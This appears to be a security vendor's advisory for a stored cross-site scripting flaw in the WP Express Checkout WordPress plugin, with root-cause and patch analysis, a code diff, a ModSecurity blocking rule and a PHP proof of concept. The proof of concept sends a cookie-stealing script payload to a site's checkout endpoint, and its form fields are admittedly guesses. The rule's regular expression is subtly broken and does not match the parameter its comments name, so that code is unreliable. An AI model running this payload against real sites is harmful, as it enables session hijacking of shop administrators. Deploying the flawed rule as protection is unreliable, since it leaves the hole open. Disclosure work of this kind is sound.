Published : November 30, 2026

CVE-2026-118699: WP Express Checkout (Fast Payments via PayPal & Stripe) <= 2.5.5 Unauthenticated Stored Cross-Site Scripting via 'wp_ppdg_payment[payer][name][given_name]' Parameter PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.4)
CWE 79
Vulnerable Version 2.5.5
Patched Version 2.5.6
Disclosed November 29, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-118699: The WP Express Checkout plugin (Fast Payments via PayPal & Stripe) for WordPress, versions up to and including 2.5.5, contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The flaw resides in the handling of the ‘wp_ppdg_payment[payer][name][given_name]’ parameter during manual checkout. An attacker can inject arbitrary JavaScript that is stored in the order data and later rendered without escaping by the [wpec_ty] shortcode (used in thank-you page templates, such as the plugin’s downloads thank-you template). The CVSS score is 5.4 (medium), reflecting the need for user interaction (an administrator or other privileged user viewing the injected page) and the potential for session hijacking or site defacement.

Root Cause: The vulnerability stems from two distinct weaknesses: insufficient input sanitization and inadequate output escaping. In the payment data processing chain, the method get_payment_data() in includes/class-payment-processor.php (line 421) retrieves the ‘wp_ppdg_payment’ POST parameter and applies only stripslashes_deep(), without sanitizing the nested ‘payer’ array. This unsanitized data flows into the order object via set_payment_gateway() and set_description() in the manual payment processor (includes/class-payment-processor-manual.php, line 104) and the PayPal processor (includes/class-payment-processor.php, lines 111 and 285). The order data is stored in the WordPress database. Later, when a thank-you page using the [wpec_ty] shortcode is rendered, the Order_Tags_Html class (public/includes/class-order-tags-html.php) generates the output. The first_name() method (originally line 24) returns $payer_details[‘name’][‘given_name’] directly without escaping. This value is then embedded in HTML output, allowing stored XSS. The plugin’s default [wpec_thank_you] template is not affected, but the downloads thank-you template uses [wpec_ty], which triggers the vulnerability.

Exploitation: An attacker can exploit this vulnerability without authentication. The attack vector involves submitting a POST request to the manual checkout endpoint (likely the checkout page with manual payment option enabled) containing the ‘wp_ppdg_payment’ parameter with a malicious payload in the ‘payer[name][given_name]’ field. For example, a payload such as alert(document.cookie) or a more sophisticated script to steal session tokens. The request does not require any nonce or authentication token because the manual checkout flow processes unauthenticated users. Once the order is stored, the injected script executes when an administrator or any user with access to the order’s thank-you page (using the [wpec_ty] shortcode) views that page. The script runs in the context of the victim’s browser, potentially leading to cookie theft, privilege escalation, or arbitrary actions on behalf of the victim.

Patch Analysis: The patch (version 2.5.6) addresses both the input and output sides. Input sanitization: In class-payment-processor.php, the get_payment_data() method now applies map_deep($payment, ‘sanitize_text_field’) to sanitize all values in the ‘wp_ppdg_payment’ array, stripping tags and encoding special characters. This prevents malicious scripts from being stored. Output escaping: The Order_Tags_Html class now includes an output() method that applies esc_html() to all text values. The first_name() (and other methods like last_name(), payer_email(), etc.) now pass their return values through $this->output(), ensuring HTML entities are encoded. For custom tags, output_custom_tag() uses wp_kses_post() to allow safe HTML while blocking scripts. The plain text version (Order_Tags_Plain) overrides these methods to return unescaped values (since emails are plain text, not HTML). Additionally, the patch changes how the product name is obtained: it now uses $product->get_item_name() instead of trusting the browser-supplied name, and the Stripe AJAX handler also uses the product’s name. The check_if_checkout_session_processed() method was updated to query both resource ID and capture ID meta keys, improving order lookup. The coupon redemption count now uses intval() to avoid PHP 8.3 deprecation warnings. The core fix for XSS is the combination of sanitizing the input (so scripts are neutralized before storage) and escaping the output (so any stored data is safely rendered). This defense-in-depth approach ensures that even if malicious data bypasses input sanitization (e.g., via other vectors), output escaping prevents execution.

Impact: If exploited, this vulnerability allows an unauthenticated attacker to inject arbitrary web scripts into pages that will execute when a user (typically an administrator or shop manager) accesses the injected page. This can lead to session hijacking, theft of sensitive data (cookies, tokens), privilege escalation (by creating rogue admin accounts), site defacement, or redirection to malicious domains. The stored nature means the script persists until the order is deleted or the payload is removed. Given the requirement for a thank-you page using the [wpec_ty] shortcode, the impact is somewhat limited but still significant for sites that use this template. The CVSS score of 5.4 reflects the medium severity due to the need for user interaction and specific configuration.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-express-checkout/includes/class-coupons.php
+++ b/wp-express-checkout/includes/class-coupons.php
@@ -566,8 +566,8 @@

 			// Redeem coupon count if needed.
 			if ( $coupon && $coupon['valid'] ) {
-				$curr_redeem_cnt = get_post_meta( $coupon['id'], 'wpec_coupon_red_count', true );
-				$curr_redeem_cnt++;
+				// The count is an empty string for a coupon that hasn't been used yet (incrementing an empty string is deprecated in PHP 8.3+).
+				$curr_redeem_cnt = intval( get_post_meta( $coupon['id'], 'wpec_coupon_red_count', true ) ) + 1;
 				update_post_meta( $coupon['id'], 'wpec_coupon_red_count', $curr_redeem_cnt );
 			}
 		}
--- a/wp-express-checkout/includes/class-payment-processor-manual.php
+++ b/wp-express-checkout/includes/class-payment-processor-manual.php
@@ -104,6 +104,9 @@
 			$this->send_error( $exc->getMessage(), $exc->getCode() );
 		}

+		// The name sent by the browser is only used to find the product's price data (the transient); the order gets the product's name.
+		$item_name = $product->get_item_name();
+
 		$order->set_payment_gateway( 'manual_checkout' );
 		/* translators: Order title: {Quantity} {Item name} - {Status} */
 		$order->set_description( sprintf( __( '%1$d %2$s - %3$s', 'wp-express-checkout' ), $quantity, $item_name, $this->transaction_status ) );
--- a/wp-express-checkout/includes/class-payment-processor-stripe.php
+++ b/wp-express-checkout/includes/class-payment-processor-stripe.php
@@ -333,10 +333,18 @@


 	public static function check_if_checkout_session_processed( $session_id ) {
+		// create_order() saves the checkout session ID as the order's resource ID (the capture ID is the charge ID).
+		// The capture ID is checked too, in case an order was saved with the session ID there.
 		$query = new WP_Query( array(
 			'post_type'      => 'ppdgorder',
+			'post_status'    => 'any',
 			'posts_per_page' => 1, // Only need to know if it exists
 			'meta_query'     => [
+				'relation' => 'OR',
+				[
+					'key'   => 'wpec_order_resource_id',
+					'value' => sanitize_text_field( $session_id ),
+				],
 				[
 					'key'   => 'wpec_order_capture_id',
 					'value' => sanitize_text_field( $session_id ),
--- a/wp-express-checkout/includes/class-payment-processor.php
+++ b/wp-express-checkout/includes/class-payment-processor.php
@@ -111,6 +111,9 @@
 			$this->send_error( $exc->getMessage(), $exc->getCode() );
 		}

+		// The name sent by the browser is only used to find the product's price data (the transient); the order gets the product's name.
+		$item_name = $product->get_item_name();
+
 		$order->set_payment_gateway( 'paypal' );
 		/* translators: Order title: {Quantity} {Item name} - {Status} */
 		$order->set_description( sprintf( __( '%1$d %2$s - %3$s', 'wp-express-checkout' ), $quantity, $item_name, $this->get_transaction_status( $payment ) ) );
@@ -285,6 +288,9 @@
 			$this->send_error( $exc->getMessage(), $exc->getCode() );
 		}

+		// The name sent by the browser is only used to find the product's price data (the transient); the order gets the product's name.
+		$item_name = $product->get_item_name();
+
 		$order->set_payment_gateway( 'paypal' );
 		/* translators: Order title: {Quantity} {Item name} - {Status} */
 		$order->set_description( sprintf( __( '%1$d %2$s - %3$s', 'wp-express-checkout' ), $quantity, $item_name, $this->get_transaction_status( $payment ) ) );
@@ -421,6 +427,8 @@
 	 */
 	protected function get_payment_data() {
 		$payment = isset( $_POST['wp_ppdg_payment'] ) ? stripslashes_deep( $_POST['wp_ppdg_payment'] ) : array();
+		// The buyer details (name, email, phone, address) come from the browser: keep text only.
+		$payment = is_array( $payment ) ? map_deep( $payment, 'sanitize_text_field' ) : array();
 		return $payment;
 	}

--- a/wp-express-checkout/includes/class-stripe-button-ajax-handler.php
+++ b/wp-express-checkout/includes/class-stripe-button-ajax-handler.php
@@ -72,7 +72,8 @@
 				'price_data' => array(
 					'currency'     => $currency,
 					'product_data' => array(
-						'name'     => $product_name,
+						// The product's name (the name sent by the browser is only used to find the product's price data).
+						'name'     => $product->get_item_name(),
 						'metadata' => array(
 							'wpec_product_id' => $product_id,
 							'wpec_item_key' => 'main',
--- a/wp-express-checkout/public/includes/class-order-tags-html.php
+++ b/wp-express-checkout/public/includes/class-order-tags-html.php
@@ -5,6 +5,9 @@
 /**
  * Order tags generator with HTML output.
  *
+ * The values come from the order (much of it entered by the buyer), so they are escaped for HTML here.
+ * The plain text generator (Order_Tags_Plain, used for the emails) returns them unescaped.
+ *
  * @since 2.1.0
  */
 class Order_Tags_Html {
@@ -24,13 +27,36 @@
 	}

 	/**
+	 * Prepares a text value for output: escaped for HTML.
+	 *
+	 * @param mixed $value The value.
+	 *
+	 * @return string
+	 */
+	protected function output( $value ) {
+		return esc_html( (string) $value );
+	}
+
+	/**
+	 * Prepares the output of a custom order tag (added with the 'wpec_render_custom_order_tag' filter):
+	 * HTML is allowed, but not scripts or event handler attributes.
+	 *
+	 * @param mixed $value The value.
+	 *
+	 * @return mixed
+	 */
+	protected function output_custom_tag( $value ) {
+		return is_scalar( $value ) ? wp_kses_post( (string) $value ) : $value;
+	}
+
+	/**
 	 * Order author first name.
 	 *
 	 * @return string
 	 */
 	public function first_name() {
 		$payer_details = $this->order->get_data( 'payer' );
-		return $payer_details['name']['given_name'];
+		return $this->output( isset( $payer_details['name']['given_name'] ) ? $payer_details['name']['given_name'] : '' );
 	}

 	/**
@@ -40,7 +66,7 @@
 	 */
 	public function last_name() {
 		$payer_details = $this->order->get_data( 'payer' );
-		return $payer_details['name']['surname'];
+		return $this->output( isset( $payer_details['name']['surname'] ) ? $payer_details['name']['surname'] : '' );
 	}

 	/**
@@ -63,7 +89,7 @@
 	 * @return string
 	 */
 	public function payer_email() {
-		return $this->order->get_info( 'email' );
+		return $this->output( $this->order->get_info( 'email' ) );
 	}

 	/**
@@ -72,7 +98,7 @@
 	 * @return string
 	 */
 	public function payer_phone() {
-		return $this->order->get_phone();
+		return $this->output( $this->order->get_phone() );
 	}

 	/**
@@ -81,7 +107,7 @@
 	 * @return string
 	 */
 	public function transaction_id() {
-		return $this->order->get_capture_id();
+		return $this->output( $this->order->get_capture_id() );
 	}

 	/**
@@ -90,7 +116,7 @@
 	 * @return float
 	 */
 	public function purchase_amt() {
-		return $this->order->get_total();
+		return $this->output( $this->order->get_total() );
 	}

 	/**
@@ -99,15 +125,15 @@
 	 * @return string
 	 */
 	public function purchase_date() {
-		return get_post_time( 'F j, Y, g:i a', false, $this->order->get_id() );
+		return $this->output( get_post_time( 'F j, Y, g:i a', false, $this->order->get_id() ) );
 	}

 	public function quantity_ordered() {
-		return $this->order->get_quantity_ordered();
+		return $this->output( $this->order->get_quantity_ordered() );
 	}

 	public function selected_variations() {
-		return $this->order->get_selected_variations_string();
+		return $this->output( $this->order->get_selected_variations_string() );
 	}

 	/**
@@ -116,7 +142,7 @@
 	 * @return string
 	 */
 	public function currency_code() {
-		return $this->order->get_currency();
+		return $this->output( $this->order->get_currency() );
 	}

 	/**
@@ -126,7 +152,7 @@
 	 */
 	public function coupon_code() {
 		$coupon_item = $this->order->get_item( 'coupon' );
-		return ! empty( $coupon_item['meta']['code'] ) ? $coupon_item['meta']['code'] : '0';
+		return $this->output( ! empty( $coupon_item['meta']['code'] ) ? $coupon_item['meta']['code'] : '0' );
 	}

 	/**
@@ -135,7 +161,7 @@
 	 * @return string
 	 */
 	public function address() {
-		return $this->order->get_shipping_address();
+		return $this->output( $this->order->get_shipping_address() );
 	}

 	/**
@@ -144,7 +170,7 @@
 	 * @return int
 	 */
 	public function order_id() {
-		return $this->order->get_id();
+		return $this->output( $this->order->get_id() );
 	}

 	/**
@@ -188,7 +214,7 @@
 		foreach ( $downloads as $name => $download_url ) {
 			$count = ! empty( $counter[ $name ] ) ? $counter[ $name ] : 0;
 			$text = ! empty( $args['anchor_text'] ) ? $args['anchor_text'] : $download_url;
-			$content .= sprintf( $link_tpl, $name, $download_url, $args['target'], $text, $count, $limit ? $limit : '∞' );
+			$content .= sprintf( $link_tpl, esc_html( $name ), esc_url( $download_url ), esc_attr( $args['target'] ), esc_html( $text ), (int) $count, $limit ? $limit : '∞' );
 		}

 		return $content;
@@ -201,7 +227,7 @@
 	 */
 	public function product_id() {
 		$product_item = $this->order->get_item( 'ppec-products' );
-		return ! empty( $product_item['post_id'] ) ? $product_item['post_id'] : 0;
+		return $this->output( ! empty( $product_item['post_id'] ) ? $product_item['post_id'] : 0 );
 	}

 	/**
@@ -210,8 +236,9 @@
 	 * @return string
 	 */
 	public function product_name() {
-		$product = get_post( $this->product_id() );
-		return $product ? $product->post_title : '';
+		$product_item = $this->order->get_item( 'ppec-products' );
+		$product      = ! empty( $product_item['post_id'] ) ? get_post( $product_item['post_id'] ) : null;
+		return $this->output( $product ? $product->post_title : '' );
 	}

 	/**
@@ -222,7 +249,7 @@
 	 */
 	public function __call( $name, $arguments ) {
 		$arguments['renderer'] = $this;
-		return apply_filters( 'wpec_render_custom_order_tag', null, $name, $arguments );
+		return $this->output_custom_tag( apply_filters( 'wpec_render_custom_order_tag', null, $name, $arguments ) );
 	}

 }
--- a/wp-express-checkout/public/includes/class-order-tags-plain.php
+++ b/wp-express-checkout/public/includes/class-order-tags-plain.php
@@ -10,6 +10,28 @@
 class Order_Tags_Plain extends Order_Tags_Html {

 	/**
+	 * Plain text: the values are not escaped (the emails are plain text).
+	 *
+	 * @param mixed $value The value.
+	 *
+	 * @return mixed
+	 */
+	protected function output( $value ) {
+		return $value;
+	}
+
+	/**
+	 * Plain text: a custom order tag's value is not changed.
+	 *
+	 * @param mixed $value The value.
+	 *
+	 * @return mixed
+	 */
+	protected function output_custom_tag( $value ) {
+		return $value;
+	}
+
+	/**
 	 * Generates Order Summary Table.
 	 *
 	 * @return string
--- a/wp-express-checkout/wp-express-checkout.php
+++ b/wp-express-checkout/wp-express-checkout.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name:       WP Express Checkout
  * Description:       Allows you to accept fast and secure payments for products and services via a payment popup window, supporting both the new PayPal and Stripe Checkout options.
- * Version:           2.5.5
+ * Version:           2.5.6
  * Author:            Tips and Tricks HQ, mra13
  * Author URI:        https://www.tipsandtricks-hq.com/
  * Plugin URI:        https://wp-express-checkout.com/
@@ -17,7 +17,7 @@
 }

 //Define constants
-define( 'WPEC_PLUGIN_VER', '2.5.5' );
+define( 'WPEC_PLUGIN_VER', '2.5.6' );
 define( 'WPEC_PLUGIN_URL', plugins_url( '', __FILE__ ) );
 define( 'WPEC_PLUGIN_PATH', plugin_dir_path( __FILE__ ) );
 define( 'WPEC_PLUGIN_FILE', __FILE__ );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-118699
# Block unauthenticated stored XSS via 'wp_ppdg_payment[payer][name][given_name]' parameter in WP Express Checkout
# The exploit requires the 'wp_ppdg_payment' parameter with nested 'payer[name][given_name]' containing malicious script tags.
# We match the exact parameter name and common XSS payload patterns.
SecRule REQUEST_URI "@rx ^/(checkout|manual-checkout|wp-admin/admin-ajax.php)" 
  "id:2026118699,phase:2,deny,status:403,chain,msg:'CVE-2026-118699 via WP Express Checkout manual checkout XSS',severity:'CRITICAL',tag:'CVE-2026-118699'"
  SecRule ARGS_POST:wp_ppdg_payment 
    "@rx (?:payer[name][given_name]|payer%5Bname%5D%5Bgiven_name%5D).*(?:<script|%3Cscript|<script)" 
    "chain"
    SecRule ARGS_POST:wp_ppdg_payment "@detectXSS" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-118699 - WP Express Checkout <= 2.5.5 - Unauthenticated Stored XSS via 'wp_ppdg_payment[payer][name][given_name]'

// Configuration
$target_url = 'http://example.com'; // Base URL of the WordPress site
$checkout_path = '/checkout/'; // Path to the manual checkout page (adjust as needed)
$product_id = '1'; // ID of a valid product (adjust)

// Malicious payload: JavaScript to steal cookies and display alert
$payload = '<script>alert(document.cookie)</script>';

// Build the POST data to simulate a manual checkout submission
$post_data = array(
    'wp_ppdg_payment' => array(
        'payer' => array(
            'name' => array(
                'given_name' => $payload,
                'surname' => 'Doe'
            ),
            'email' => 'attacker@example.com'
        ),
        // Additional fields required by the plugin (adjust based on actual form)
        'item_name' => 'Test Product',
        'item_number' => $product_id,
        'amount' => '10.00',
        'currency' => 'USD'
    ),
    // Manual checkout specific fields (may vary)
    'wpec_manual_checkout' => '1',
    'wpec_product_id' => $product_id,
    'wpec_quantity' => '1'
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . $checkout_path);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, false);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output results
echo "HTTP Status: $http_coden";
echo "Response (truncated to 500 chars): " . substr($response, 0, 500) . "n";

// Note: Exploitation succeeds if the order is created and later viewed on a page using [wpec_ty].
// The payload will execute when an admin views the order's thank-you page.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.